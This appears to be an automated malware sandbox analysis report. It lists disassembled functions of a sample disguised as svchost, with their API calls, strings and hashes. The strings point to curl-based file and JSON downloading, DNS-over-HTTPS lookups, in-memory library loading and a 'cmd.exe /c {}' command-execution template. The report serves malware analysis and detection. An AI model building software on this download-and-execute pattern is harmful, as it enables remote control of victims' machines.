Instruction ID: 0c377516c2df7c095879a843b90ab41273efd517c93d83f1b95fa7e1ae88f128
Opcode Fuzzy Hash: 268b19889cf02bf0f91517eb74db770bd30f83b64ba60b829bfd315cebd91123
Instruction Fuzzy Hash: 1CE1D2B2A06B9286F762CF30D481AB937E0FB44758F049139FE5D466A9EF39E484D700

Function 00007FFBAB42DAA0 Relevance: 56.4, APIs: 29, Strings: 3, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB42DAC9
CRYPTO_THREAD_lock_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42DAF1
CRYPTO_new_ex_data.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB13
CRYPTO_THREAD_lock_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB24
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB3D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB45
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB5D
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB6E
CRYPTO_free_ex_data.LIBCRYPTO-3-X64 ref: 00007FFBAB42DB8D
CRYPTO_THREAD_lock_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42DBAE
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42DBC3

Strings

SSL_set_ct_validation_callback, xrefs: 00007FFBAB42E187
ossl_ssl_connection_new_int, xrefs: 00007FFBAB42DB4A, 00007FFBAB42DCA5, 00007FFBAB42DDC1
ssl\ssl_lib.c, xrefs: 00007FFBAB42DAB7, 00007FFBAB42DB33, 00007FFBAB42DB56, 00007FFBAB42DBB9, 00007FFBAB42DCB1, 00007FFBAB42DDCD, 00007FFBAB42DEDF, 00007FFBAB42DF2A, 00007FFBAB42DF7C, 00007FFBAB42E0C9, 00007FFBAB42E10C, 00007FFBAB42E193

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_lock_freeO_free$D_lock_newO_free_ex_dataO_new_ex_dataO_zallocR_newR_set_debugR_set_error
String ID: SSL_set_ct_validation_callback$ossl_ssl_connection_new_int$ssl\ssl_lib.c
API String ID: 3044204582-3251968464
Opcode ID: 78889371e09e9e759950568bd42c4b6e7c0cf0ede71c4b29a1cc3fa27e1db14d
Instruction ID: a6fdd57f0e371abdb93943c47db7fa4f7bd8d32814e28f404dae0ab214e59ee3
Opcode Fuzzy Hash: 78889371e09e9e759950568bd42c4b6e7c0cf0ede71c4b29a1cc3fa27e1db14d
Instruction Fuzzy Hash: 0C1206B660AF8296EB9A9F35D5902AC73A4FB48B44F488139DF6C47365DF38E464C310

Function 00007FFBAAFE72F0 Relevance: 47.7, APIs: 17, Strings: 10, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7344
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7359
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE736D
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7381
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7396
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE73AB
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7408
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7455
curl_easy_perform.LIBCURL ref: 00007FFBAAFE745E
curl_easy_strerror.LIBCURL ref: 00007FFBAAFE746A
curl_easy_getinfo.LIBCURL ref: 00007FFBAAFE74D6
curl_easy_getinfo.LIBCURL ref: 00007FFBAAFE74E8
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE76B6
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE77B9
curl_easy_perform.LIBCURL ref: 00007FFBAAFE77C2
curl_easy_strerror.LIBCURL ref: 00007FFBAAFE7813
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE7A60

Strings

Response code: {} Content Type: {}, xrefs: 00007FFBAAFE795B
text/plain; charset=utf-8, xrefs: 00007FFBAAFE7616
", xrefs: 00007FFBAAFE7967
ion/octe, xrefs: 00007FFBAAFE7593
ios_base::eofbit set, xrefs: 00007FFBAAFE7A26
ios_base::badbit set, xrefs: 00007FFBAAFE7A14
File could not be created., xrefs: 00007FFBAAFE772F
ios_base::failbit set, xrefs: 00007FFBAAFE7A1F
t-stream, xrefs: 00007FFBAAFE7589
applicat, xrefs: 00007FFBAAFE759D

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: curl_easy_setopt$curl_easy_getinfocurl_easy_performcurl_easy_strerror$_invalid_parameter_noinfo_noreturn
String ID: "$File could not be created.$Response code: {} Content Type: {}$applicat$ion/octe$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$t-stream$text/plain; charset=utf-8
API String ID: 4244892839-2565517602
Opcode ID: 6634676893988e330a59b13b0f530b0e5d7fbb88ca349729e62b41c240678f05
Instruction ID: 8f3b0ec62f5ce47fa572d5a7227f57a16e845646344ff12033d16106b1d22f68
Opcode Fuzzy Hash: 6634676893988e330a59b13b0f530b0e5d7fbb88ca349729e62b41c240678f05
Instruction Fuzzy Hash: 0422B1A2B09B81C6EB26CB35D4402BD77A0FB84B88F408636CE5D57B65DF39E585C350

Function 00007FFBAAFE65F0 Relevance: 32.0, APIs: 15, Strings: 3, Instructions: 517
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_easy_init.LIBCURL ref: 00007FFBAAFE663C
curl_easy_cleanup.LIBCURL ref: 00007FFBAAFE67D2
curl_easy_init.LIBCURL ref: 00007FFBAAFE67D8

Strings

CURL could not be initialized download_file, xrefs: 00007FFBAAFE665E
CURL could not be re-initialized_2 download_file, xrefs: 00007FFBAAFE6AC4
CURL could not be re-initialized download_file, xrefs: 00007FFBAAFE67FE

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: curl_easy_init$curl_easy_cleanup
String ID: CURL could not be initialized download_file$CURL could not be re-initialized download_file$CURL could not be re-initialized_2 download_file
API String ID: 2458899574-242915743
Opcode ID: edfc6142fef203dc8b3074d865694ce6d24d2c0a164ed5749f09d8e61e569a32
Instruction ID: fbf4eff33c085cd0acf04cf792f8cb8aa0879f68d139c0e121266405aab5d97c
Opcode Fuzzy Hash: edfc6142fef203dc8b3074d865694ce6d24d2c0a164ed5749f09d8e61e569a32
Instruction Fuzzy Hash: 612222B2E1A78585EB658B34D8403BD6765EB857A8F108331EEAD46BD9EF3DD081C340

Function 00007FFBAAFE6E60 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE6EFD
curl_easy_init.LIBCURL ref: 00007FFBAAFE6F4A
curl_easy_cleanup.LIBCURL ref: 00007FFBAAFE70DF
curl_easy_init.LIBCURL ref: 00007FFBAAFE70E5
curl_easy_cleanup.LIBCURL ref: 00007FFBAAFE727D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE72D5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE72DB

Strings

CURL could not be initialized download_json, xrefs: 00007FFBAAFE6F6C
CURL could not be re-initialized download_json, xrefs: 00007FFBAAFE710B

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$curl_easy_cleanupcurl_easy_init
String ID: CURL could not be initialized download_json$CURL could not be re-initialized download_json
API String ID: 2934429083-2962405094
Opcode ID: 590d92523ebcee6e3a7bbbfe03d2579010e41bb78fb3ece1522039a46dbd390c
Instruction ID: a3d016fd28aee627f38e3d636874de92ef31947cf576e6f36a7eec959d334600
Opcode Fuzzy Hash: 590d92523ebcee6e3a7bbbfe03d2579010e41bb78fb3ece1522039a46dbd390c
Instruction Fuzzy Hash: 70C1D1B2A0A78185EB258B75D4403AD67A4FB84798F508235EEAC43BA5EF3DD591C300

Function 00007FFBAB422F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3-X64(00000000,00007FFBAB433D8B,00000000,00007FFBAB41ABE9,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB422F7F
ERR_set_debug.LIBCRYPTO-3-X64(00000000,00007FFBAB433D8B,00000000,00007FFBAB41ABE9,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB422F97
ERR_set_error.LIBCRYPTO-3-X64(00000000,00007FFBAB433D8B,00000000,00007FFBAB41ABE9,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB422FA8
CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00000000,00007FFBAB433D8B,00000000,00007FFBAB41ABE9,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB422FE7
CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00000000,00007FFBAB433D8B,00000000,00007FFBAB41ABE9,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB423012
CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64(00000000,00007FFBAB433D8B,00000000,00007FFBAB41ABE9,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB42303B

Strings

ssl\ssl_init.c, xrefs: 00007FFBAB422F90
OPENSSL_init_ssl, xrefs: 00007FFBAB422F84

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_run_once$R_newR_set_debugR_set_error
String ID: OPENSSL_init_ssl$ssl\ssl_init.c
API String ID: 3879570137-538246785
Opcode ID: e3496e332020ca9c6fe1bb8cde3ecf2beeb22889fd1d9285841be6b611d3b505
Instruction ID: 032c274a9e08a97b3be5d8040abe7bf14f3045d47c9d42eafb42ae478ca92204
Opcode Fuzzy Hash: e3496e332020ca9c6fe1bb8cde3ecf2beeb22889fd1d9285841be6b611d3b505
Instruction Fuzzy Hash: DF313EE1B1A20386FB969735E8917B933A1EF94380F889035ED2E472B5DE2CE945D640

Function 00007FFBAB067FFC Relevance: 13.8, APIs: 9, Instructions: 282
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFBAB067D24: _invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB067D73
Part of subcall function 00007FFBAB067D24: _invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB067DEB
Part of subcall function 00007FFBAB067D24: _invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB067E3C

CreateFileW.KERNEL32 ref: 00007FFBAB068112
CreateFileW.KERNEL32 ref: 00007FFBAB068170
GetLastError.KERNEL32 ref: 00007FFBAB0681A0
GetFileType.KERNEL32 ref: 00007FFBAB0681B8
GetLastError.KERNEL32 ref: 00007FFBAB0681C2
CloseHandle.KERNEL32 ref: 00007FFBAB0681F5
CloseHandle.KERNEL32 ref: 00007FFBAB06835B
CreateFileW.KERNEL32 ref: 00007FFBAB068390
GetLastError.KERNEL32 ref: 00007FFBAB06839F

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 8437788e23e207c34b3612ebda8bd24e9ae57695d1c9820b1b9e8f409681dfe0
Instruction ID: 3c3aac78025407057dd3bdf205f7edca087afe942e91c3a745b55b6a7f8949f0
Opcode Fuzzy Hash: 8437788e23e207c34b3612ebda8bd24e9ae57695d1c9820b1b9e8f409681dfe0
Instruction Fuzzy Hash: 25C1C373B25B4185EB21CF78C4902AD3B65FB49B98F11822ADE2E573A4DF78E461C340

Function 00007FFBAB056710 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FFBAB056E8A,?,?,?,00007FFBAB056E0D), ref: 00007FFBAB05677D
GetLastError.KERNEL32(?,?,00000000,00007FFBAB056E8A,?,?,?,00007FFBAB056E0D), ref: 00007FFBAB05678F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FFBAB056E8A,?,?,?,00007FFBAB056E0D), ref: 00007FFBAB0567D1
VirtualProtect.KERNEL32 ref: 00007FFBAB05682D
VirtualProtect.KERNEL32 ref: 00007FFBAB05685E
FreeLibrary.KERNEL32(?,?,00000000,00007FFBAB056E8A,?,?,?,00007FFBAB056E0D), ref: 00007FFBAB0568A2
GetProcAddress.KERNEL32(?,?,00000000,00007FFBAB056E8A,?,?,?,00007FFBAB056E0D), ref: 00007FFBAB0568AE

Strings

api-ms-, xrefs: 00007FFBAB0567A3
ext-ms-, xrefs: 00007FFBAB0567B6
AppPolicyGetProcessTerminationMethod, xrefs: 00007FFBAB0568ED

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: ab76589d6c54d6a326f523da88ed150cb661493434ef03a6b2d42ed5dbc1533e
Instruction ID: 650b576496bfc516ef3dc0deca0626b52e751d5f796ffc86fe9f5a6911828912
Opcode Fuzzy Hash: ab76589d6c54d6a326f523da88ed150cb661493434ef03a6b2d42ed5dbc1533e
Instruction Fuzzy Hash: AC51A2A1B0AB4681EA769B76E4109B96354BF48BB0F48C735DE3D47BE4DF3CE4658200

Function 00007FFBAAFE8390 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE87DE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE87E4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE87EA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE87F0
curl_global_init.LIBCURL ref: 00007FFBAAFE8812

Strings

Answer, xrefs: 00007FFBAAFE855C, 00007FFBAAFE85BE, 00007FFBAAFE8608
", xrefs: 00007FFBAAFE83E4
data, xrefs: 00007FFBAAFE864E
https://dns.google/resolve?name={}, xrefs: 00007FFBAAFE83D8

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$curl_global_init
String ID: "$Answer$data$https://dns.google/resolve?name={}
API String ID: 3819036960-82038468
Opcode ID: 59bb28103cee1aee3c5fad7c54ddbac10d2075a140da29ac5d0c9250a1f0ef03
Instruction ID: ac7e979f8a7e9e70570249a66f86837a5ec24a140cc496a9bb706a6e2c09d056
Opcode Fuzzy Hash: 59bb28103cee1aee3c5fad7c54ddbac10d2075a140da29ac5d0c9250a1f0ef03
Instruction Fuzzy Hash: EFC115A2E0E7C681EA369B34E4403BA6351FB86794F108232DE9D436E9DF7DD082C750

Function 00007FFBAAFE7A70 Relevance: 15.2, APIs: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7ACA
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7ADF
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7AF2
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7B06
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7B1A
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7B75
curl_easy_setopt.LIBCURL ref: 00007FFBAAFE7BC5
curl_easy_perform.LIBCURL ref: 00007FFBAAFE7BCE
curl_easy_strerror.LIBCURL ref: 00007FFBAAFE7BDE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAAFE7CDE

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: curl_easy_setopt$_invalid_parameter_noinfo_noreturncurl_easy_performcurl_easy_strerror
String ID:
API String ID: 496898497-0
Opcode ID: dbe63b870c19d87e2bb359bceb4f8389c0c2a63cf7250fc1c60ffc9ca98cd2ef
Instruction ID: 5cb87b2bf76d9226ca00cf503bb8d1c2c509487536a6c5ab20f13e916aa7e77b
Opcode Fuzzy Hash: dbe63b870c19d87e2bb359bceb4f8389c0c2a63cf7250fc1c60ffc9ca98cd2ef
Instruction Fuzzy Hash: 1F71E3A2F09A85C2EB258B35E44437DA361FB85BD4F108231DEAD47BA5DF7DE4828740

Function 00007FFBAB011680 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 151
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00007FFBAB0117B1
WaitForSingleObject.KERNEL32 ref: 00007FFBAB0117CC
CloseHandle.KERNEL32 ref: 00007FFBAB0117D6
CloseHandle.KERNEL32 ref: 00007FFBAB0117E0
CloseHandle.KERNEL32 ref: 00007FFBAB0117F7
CloseHandle.KERNEL32 ref: 00007FFBAB011801
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAB0118BD

Strings

cmd.exe /c {}, xrefs: 00007FFBAB0116F6

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWait_invalid_parameter_noinfo_noreturn
String ID: cmd.exe /c {}
API String ID: 3882512363-3162138867
Opcode ID: d137653e5bb499d1f3ac429a0c12489c16ab699fb9fefba6721ffb36d19b4ffd
Instruction ID: 740f8d3f2f06782dfd5b1ab90b915cd0c08fe53d96b47e56fca752eb52a6a75b
Opcode Fuzzy Hash: d137653e5bb499d1f3ac429a0c12489c16ab699fb9fefba6721ffb36d19b4ffd
Instruction Fuzzy Hash: 3161C372E19B8586E7158F74E8403ADB3B4FB94758F108236EEAC13A68DF78D095C740

Function 00007FFBAB05D6EC Relevance: 10.8, APIs: 7, Instructions: 293
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB05DB2B

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 80580447bdf006c8bb099900400e9773724f3534977f34bb1017d48ee99cfaed
Instruction ID: f8cb8a599dec6ef7621eab16ad795cde76102dccf9107c4320deb0099704ca43
Opcode Fuzzy Hash: 80580447bdf006c8bb099900400e9773724f3534977f34bb1017d48ee99cfaed
Instruction Fuzzy Hash: BBC1C2A290E78681E7729F25D440ABE6795EB80B80F55C336DE6D03BB1CE7CE8758300

Function 00007FFBAAFE5050 Relevance: 7.6, APIs: 5, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFBAAFE507B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFBAAFE50A0
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFBAAFE50CA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFBAAFE515B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBAAFE5183

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 82f975a65af9a806176bc470929628a152f3e5129f63775cb722e992c27d5d3d
Instruction ID: b01f35152e1bb75139c02283c75ccb799041d5cb3fc28ca4d5bc75f9fe8ac25f
Opcode Fuzzy Hash: 82f975a65af9a806176bc470929628a152f3e5129f63775cb722e992c27d5d3d
Instruction Fuzzy Hash: 0A31A0A2A1AA82C0EA779F35E44027A6765FB44B98F084176DE6E433B5DF3CE452C710

Function 00007FFBAB031C20 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAB031F20
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBAB031F26

Strings

Connection lost., xrefs: 00007FFBAB031EE1

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: Connection lost.
API String ID: 3668304517-320266476
Opcode ID: 7aca4e8d22572d76c5586afddea96cb6605fa334417803e94f2f0df69a637177
Instruction ID: a5bccb7ffb43681ae25d414cd8b4dffd935ecc431c93c5f320ee30f8909627ff
Opcode Fuzzy Hash: 7aca4e8d22572d76c5586afddea96cb6605fa334417803e94f2f0df69a637177
Instruction Fuzzy Hash: BA8194A3A0AAC681EA328B25E4443BD6360FB99B94F548231DE7D036E5DF7CD4A1D304

Function 00007FFBAAFE5830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFBAAFE589B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FFBAAFE58E3
